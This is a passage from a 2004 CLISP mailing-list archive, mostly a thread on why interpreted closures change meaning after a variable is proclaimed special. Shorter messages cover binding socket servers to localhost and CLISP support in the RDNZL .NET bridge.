(list (lambda (cle) (when (eq cle mdp) val)) (lambda (cle nouvelle) (when (eq cle mdp) (setf val nouvelle)))))) VEROUILLE [139]> (defparameter vv (verouille :secret 1)) VV [140]> (funcall (first vv) :secret) 1 [141]> (funcall (second vv) :secret 2) 2 [142]> (funcall (first vv) :secret) 2 [143]> (funcall (first vv) :titi) NIL [144]> (funcall (second vv) :titi 3) NIL [145]> (funcall (first vv) :secret) 2 So far so good. But: [146]> (defparameter val 3) VAL [147]> (funcall (first vv) :secret) 3 !!! [148]> (lisp-implementation-version) "2.33.2 (2004-06-02) (built 3311798773) (memory 3311799118)" [149]> With compiled closures, it works as expected: [1]> (defun verouille (mot-de-passe valeur) (let ((val valeur) (mdp mot-de-passe)) (list (compile nil (lambda (cle) (when (eq cle mdp) val))) (compile nil (lambda (cle nouvelle) (when (eq cle mdp) (setf val nouvelle))))))) VEROUILLE [2]> (defparameter vv (verouille :secret 1)) VV [3]> vv (# #) [6]> (funcall (first vv) :secret) 1 [7]> (funcall (second vv) :secret 2) 2 [8]> (funcall (first vv) :secret) 2 [9]> (defparameter val 3) VAL [10]> (funcall (first vv) :secret) 2 [11]> ecls gets it right: ECL (Embeddable Common-Lisp) 0.9 Copyright (C) 1984 Taiichi Yuasa and Masami Hagiya Copyright (C) 1993 Giuseppe Attardi Copyright (C) 2000 Juan J. Garcia-Ripoll ECL is free software, and you are welcome to redistribute it under certain conditions; see file 'Copyright' for details. Type :h for Help. Top level. > (defun verouille (mot-de-passe valeur) (let ((val valeur) (mdp mot-de-passe)) (list (lambda (cle) (when (eq cle mdp) val)) (lambda (cle nouvelle) (when (eq cle mdp) (setf val nouvelle)))))) VEROUILLE > (defparameter vv (verouille :secret 1)) VV > (funcall (first vv) :secret) 1 > (funcall (second vv) :secret 2) 2 > (funcall (first vv) :secret) 2 > (defparameter val 3) VAL > (funcall (first vv) :secret) 2 > vv (# #) > -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From bruno@clisp.org Mon Dec 20 13:31:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgV8A-0003Dl-Pc for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 13:31:50 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CgV89-0002sn-VH for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 13:31:50 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iBKLVhfs025210 for ; Mon, 20 Dec 2004 22:31:43 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iBKLVbRE010833; Mon, 20 Dec 2004 22:31:37 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 125F61BB7C; Mon, 20 Dec 2004 21:30:03 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200412202230.01692.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: interpreted closure vs. dynamic variable ?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 13:32:02 2004 X-Original-Date: Mon, 20 Dec 2004 22:30:01 +0100 > [138]> (defun verouille (mot-de-passe valeur) > (let ((val valeur) > (mdp mot-de-passe)) > (list > (lambda (cle) (when (eq cle mdp) val)) > (lambda (cle nouvelle) (when (eq cle mdp) (setf val nouvelle)))))) > VEROUILLE > ... > [146]> (defparameter val 3) > VAL By evaluating this defparameter form, you have changed the meaning of the verouille function that you entered earlier. VAL was not declared special before but is declared special afterwards. This explains everything. You probably need a DEFPARAMETER without DECLAIM SPECIAL. This beast is usually called DEFGLOBAL. It defines a global variable but does not affect the behaviour when the symbol is bound. In clisp, DEFGLOBAL is trivial: (defmacro defglobal (symbol initform) `(setq ,symbol ,initform)) In SBCL, DEFGLOBAL is a little less trivial. See http://groups.google.de/groups?q=defglobal&hl=de&lr=&ie=UTF-8&group=comp.lang.lisp.*&selm=xcvu0rhls2z.fsf%40conquest.OCF.Berkeley.EDU&rnum=6 Bruno From pjb@informatimago.com Mon Dec 20 13:53:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgVSf-0004Tm-WE for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 13:53:02 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CgVSc-0000S7-6Y for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 13:53:01 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5C83B586ED; Mon, 20 Dec 2004 22:52:12 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C0AB64FAC; Mon, 20 Dec 2004 22:51:34 +0100 (CET) Message-ID: <16839.18790.728048.583158@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: interpreted closure vs. dynamic variable ?! In-Reply-To: <200412202230.01692.bruno@clisp.org> References: <200412202230.01692.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 13:54:00 2004 X-Original-Date: Mon, 20 Dec 2004 22:51:34 +0100 Bruno Haible writes: > > [138]> (defun verouille (mot-de-passe valeur) > > (let ((val valeur) > > (mdp mot-de-passe)) > > (list > > (lambda (cle) (when (eq cle mdp) val)) > > (lambda (cle nouvelle) (when (eq cle mdp) (setf val nouvelle)))))) > > VEROUILLE > > ... > > [146]> (defparameter val 3) > > VAL > > By evaluating this defparameter form, you have changed the meaning of the > verouille function that you entered earlier. VAL was not declared special > before but is declared special afterwards. This explains everything. Why the interpreted closure has not the same semantics as the compiled closure? Why the clisp interpreted closure has not the same semantics as the closures in other implementations? Why should the meaning of a closure change for ulterior declarations? > You probably need a DEFPARAMETER without DECLAIM SPECIAL. This beast is > usually called DEFGLOBAL. It defines a global variable but does not > affect the behaviour when the symbol is bound. The problem is not with defparameter. It's that I want a lexical closure, and I don't get it! $ clisp ;; Loading file /home/pascal/.clisprc.lisp ... [1]> (let ((val 1)) (defun get-val () val)) GET-VAL [2]> (get-val) 1 [3]> (defparameter val 2) VAL [4]> (get-val) 2 [5]> (let ((vol 1)) (defun get-vol () vol)) GET-VOL [6]> (compile 'get-vol) GET-VOL ; NIL ; NIL [7]> (defparameter vol 2) VOL [8]> (get-vol) 1 [9]> -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From sds@gnu.org Mon Dec 20 14:09:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgVj0-0005Y3-2J for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 14:09:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CgVin-0002cx-7R for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 14:09:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBKM9Db0003841; Mon, 20 Dec 2004 17:09:19 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16839.18790.728048.583158@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Mon, 20 Dec 2004 22:51:34 +0100") References: <200412202230.01692.bruno@clisp.org> <16839.18790.728048.583158@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: interpreted closure vs. dynamic variable ?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 14:10:06 2004 X-Original-Date: Mon, 20 Dec 2004 17:09:13 -0500 > * Pascal J.Bourguignon [2004-12-20 22:51:34 +0100]: > > Why the interpreted closure has not the same semantics as the compiled > closure? because the meaning of the interpreted closure is determined at the interpretation time. this means that whenever you call an interpreted function, it is analyzed anew (modulo macroexpansion which has been done at closure creation time), and if a variable happened to be special at one time and lexical at another time, then evaluation will produce different results. > Why the clisp interpreted closure has not the same semantics as the > closures in other implementations? because SBCL always compiles everything (IIUC). > Why should the meaning of a closure change for ulterior declarations? for "interpreted" closures, see above. compiled closures should not be affected. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From tfb@OCF.Berkeley.EDU Mon Dec 20 14:18:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgVqx-0005yC-Et for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 14:18:07 -0800 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CgVqv-0000WL-PA for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 14:18:07 -0800 Received: from conquest.OCF.Berkeley.EDU (IDENT:1@conquest.OCF.Berkeley.EDU [192.58.221.248]) by war.OCF.Berkeley.EDU (8.12.11/8.9.3) with ESMTP id iBKMHaY5005167; Mon, 20 Dec 2004 14:17:37 -0800 (PST) (envelope-from tfb@conquest.OCF.Berkeley.EDU) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.7/8.11.7) id iBKMHXu03924; Mon, 20 Dec 2004 14:17:33 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16839.20349.709464.951593@conquest.OCF.Berkeley.EDU> To: Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: interpreted closure vs. dynamic variable ?! In-Reply-To: <16839.18790.728048.583158@thalassa.informatimago.com> References: <200412202230.01692.bruno@clisp.org> <16839.18790.728048.583158@thalassa.informatimago.com> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Milter: Spamilter (Receiver: war.OCF.Berkeley.EDU; Sender-ip: 192.58.221.248; Sender-helo: conquest.ocf.berkeley.edu;) X-Spam-Status: No, hits=-3.5 required=5.0 tests=BAYES_00 autolearn=ham version=2.64 X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 14:19:01 2004 X-Original-Date: Mon, 20 Dec 2004 14:17:33 -0800 Pascal J.Bourguignon writes: > Bruno Haible writes: > > > [138]> (defun verouille (mot-de-passe valeur) > > > (let ((val valeur) > > > (mdp mot-de-passe)) > > > (list > > > (lambda (cle) (when (eq cle mdp) val)) > > > (lambda (cle nouvelle) (when (eq cle mdp) (setf val nouvelle)))))) > > > VEROUILLE > > > ... > > > [146]> (defparameter val 3) > > > VAL > > > > By evaluating this defparameter form, you have changed the meaning of the > > verouille function that you entered earlier. VAL was not declared special > > before but is declared special afterwards. This explains everything. > > Why the interpreted closure has not the same semantics as the compiled > closure? Because it's *interpreted*: the interpreter is evaluating the Lisp source as data, in the current environment. The compiler fixes the semantics of the function to use the environment it was compiled in. If you proclaim closed-over variables to be special, or redefine macros between invocations of an interpreted function, the behavior of the interpreted function will necessarily change, because it's being interpreted. If you want to avoid this, compile the function. This is the behavior of an obvious, naive interpreter -- it would be possible to try to have the interpreter's semantics more closely match the compiler's here, but this kind of flexibility can be as much of a boon as a bane. And unless I've missed something, there's nothing in the spec that disallows this. > Why the clisp interpreted closure has not the same semantics as the > closures in other implementations? I have a metacircular evaluator for SBCL that I'm going to submit when I get back from vacation -- assuming this gets merged, CLISP's interpreted semantics will match SBCL's. > The problem is not with defparameter. It's that I want a lexical > closure, and I don't get it! Then don't declare the variable to be globally special. Or, compile the function before you do. From pjb@informatimago.com Mon Dec 20 15:38:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgX6g-0001ha-34 for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 15:38:26 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CgX6d-000581-SI for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 15:38:26 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CFDD9587CE; Tue, 21 Dec 2004 00:34:07 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id CD7BF4F9C; Tue, 21 Dec 2004 00:34:05 +0100 (CET) Message-ID: <16839.24940.608873.637708@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <200412202230.01692.bruno@clisp.org> <16839.18790.728048.583158@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: interpreted closure vs. dynamic variable ?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 15:39:01 2004 X-Original-Date: Tue, 21 Dec 2004 00:34:04 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-12-20 22:51:34 +0100]: > > > > Why the interpreted closure has not the same semantics as the compiled > > closure? > > because the meaning of the interpreted closure is determined at the > interpretation time. > this means that whenever you call an interpreted function, it is > analyzed anew (modulo macroexpansion which has been done at closure > creation time), and if a variable happened to be special at one time and > lexical at another time, then evaluation will produce different results. > > > Why the clisp interpreted closure has not the same semantics as the > > closures in other implementations? > > because SBCL always compiles everything (IIUC). ecls has an interpreter as clisp, but it does it right. > > Why should the meaning of a closure change for ulterior declarations? > > for "interpreted" closures, see above. > compiled closures should not be affected. Ok, I overread 3.2.2.3 claim of "minimizing" differences between interpreted and compiled code... So I guess I'll have to write: (defun verouille (mot-de-passe valeur) (let ((#1=#:val valeur) (#2=#:mdp mot-de-passe)) (list (lambda (cle) (when (eq cle #2#) #1#)) (lambda (cle nouvelle) (when (eq cle #2#) (setf #1# nouvelle)))))) to get the effect I need. -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From lists@consulting.net.nz Mon Dec 20 17:19:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgYgC-0007Hp-V8 for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 17:19:12 -0800 Received: from ip202-36-23-202.ip.splice.net.nz ([202.36.23.202] helo=ip202.36.23.202.ip.win.co.nz) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CgYg9-0000Qu-A3 for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 17:19:12 -0800 Received: from ip202-36-23-202.ip.splice.net.nz [202.36.23.202]; Tue, 21 Dec 2004 14:18:09 +1300 From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: References: <200412181859.13042.bruno@clisp.org> Content-Type: text/plain Message-Id: <1103591861.2788.8.camel@main.consulting.net.nz> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 17:20:04 2004 X-Original-Date: Tue, 21 Dec 2004 14:17:41 +1300 On Sat, 2004-12-18 at 16:43 -0500, Sam Steingold wrote: > > * Bruno Haible [2004-12-18 18:59:13 +0100]: > > > >> > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket]) > >> > This function creates a socket an binds a port to the socket. The > >> > server exists to watch for client connect attempts. The optional > >> > argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM > >> > (from whose peer the connections will be made). > > > > This is a doc bug: "from whose peer" should be "from whose local host > > name" (that's what the code does). > > I don't think so. > the intent is that the new SOCKET-SERVER should be accessible from the > remote end (= peer) of the SOCKET-STREAM. > > >> I think you will get what you want if you call SOCKET-SERVER on a socket > >> connected to localhost. > > > > Yes, but it's strange to create a SOCKET-STREAM just to be able to > > specify a host restriction to SOCKET-SERVER. > > indeed. > > >> > I suggest the interface should be: > >> > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host]) > >> > > >> > Where a [host] of NIL binds to all network interfaces (thus being > >> > backwards compatible) and a supplied [host] only binds to the designated > >> > network interface (usually localhost/127.0.0.1 or the hostname). > > > > This leads to ill-specified cases when the first argument is a socket and > > the second one is a hostname. > > > > I think it's more appropriate to extend the possible values for the > > first argument: either > > - a port (a number), or > > - a hostname (a string), or > > - a two-element list (hostname port), or > > - a socket-stream (whose hostname is used and whose port is ignored). > > the bad thing is that one would have to cons up a list. > also, a cons cell (port . hostname) should also be acceptable. > since SOCKET-CONNECT takes port as the first argument and host as the > second one, I think here port should come first too. > actually, we can dispatch on type of the list element > (host is a string, port is a number). As these interface restrictions are only caused by a desire to preserve backwards compatibility with SOCKET:SOCKET-SERVER have you instead considered adding a new function called SOCKET:MAKE-SOCKET-SERVER: (SOCKET:MAKE-SOCKET-SERVER PORT &OPTIONAL (HOST "0.0.0.0")) Regards, Adam From edi@agharta.de Tue Dec 21 02:44:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CghVd-0007qs-9E for clisp-list@lists.sourceforge.net; Tue, 21 Dec 2004 02:44:53 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CghVc-0004bI-D6 for clisp-list@lists.sourceforge.net; Tue, 21 Dec 2004 02:44:53 -0800 Received: by miles.agharta.de (Postfix, from userid 1000) id 73F092CC118; Tue, 21 Dec 2004 11:44:47 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Announcement: RDNZL .NET bridge for CL References: From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: (Edi Weitz's message of "Thu, 16 Dec 2004 10:49:41 +0100") Message-ID: <87wtvcexr4.fsf@miles.agharta.de> User-Agent: Gnus/5.1007 (Gnus v5.10.7) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 21 02:45:04 2004 X-Original-Date: Tue, 21 Dec 2004 11:44:47 +0100 On Thu, 16 Dec 2004 10:49:41 +0100, Edi Weitz wrote: > Maybe someone wants to port this to CLISP: > > > > It has the potential to provide an easy way to create native GUIs > for CLISP programs, amongst other things. Thanks to the efforts of Vasilis Margioulas, RDNZL (0.4.0) now includes preliminary support for CLISP. There are some issues with callbacks, similar to the problems with Corman Lisp, but it works for simple cases. Please try and have fun with it. Cheers, Edi. From bruno@clisp.org Tue Dec 21 04:17:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cgiwy-0004Vb-MY for clisp-list@lists.sourceforge.net; Tue, 21 Dec 2004 04:17:12 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cgiwx-0002iR-LL for clisp-list@lists.sourceforge.net; Tue, 21 Dec 2004 04:17:12 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iBLCH15a018542; Tue, 21 Dec 2004 13:17:01 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iBLCGtN9014143; Tue, 21 Dec 2004 13:16:55 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 03418377B6; Tue, 21 Dec 2004 12:15:15 +0000 (UTC) From: Bruno Haible To: Subject: Re: [clisp-list] Re: interpreted closure vs. dynamic variable ?! User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <200412202230.01692.bruno@clisp.org> <16839.18790.728048.583158@thalassa.informatimago.com> In-Reply-To: <16839.18790.728048.583158@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200412211315.14607.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 21 04:18:18 2004 X-Original-Date: Tue, 21 Dec 2004 13:15:14 +0100 Pascal J.Bourguignon wrote: > Why the interpreted closure has not the same semantics as the compiled > closure? Because the compiler makes some optimizations that "fix" the semantics of the functions - ANSI CL 3.2.2.3: "Special proclamations for dynamic variables must be made in the compilation environment. Any binding for which there is no special declaration or proclamation in the compilation environment is treated by the compiler as a lexical binding." and there is no such requirement for the interpreter. > Why the clisp interpreted closure has not the same semantics as the > closures in other implementations? Because the interpreter in other implementations apparently do a little more preprocessing in the interpreter than clisp does. For performance reasons or for ease of debugging - I don't know. > Why should the meaning of a closure change for ulterior declarations? Because the goal of an interpreter is to allow changes to take effect immediately, without recompilation of the whole program. > The problem is not with defparameter. It's that I want a lexical > closure, and I don't get it! Then don't proclaim SPECIAL your variable. A variable that has been proclaimed special cannot be bound lexically. Bruno From pjb@informatimago.com Wed Dec 22 01:18:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ch2dt-0002nb-Py for clisp-list@lists.sourceforge.net; Wed, 22 Dec 2004 01:18:49 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Ch2ds-0000TY-6c for clisp-list@lists.sourceforge.net; Wed, 22 Dec 2004 01:18:49 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 35738587A9; Tue, 21 Dec 2004 16:15:26 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1F0774F9C; Tue, 21 Dec 2004 16:15:25 +0100 (CET) Message-ID: <16840.15885.87882.348713@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: interpreted 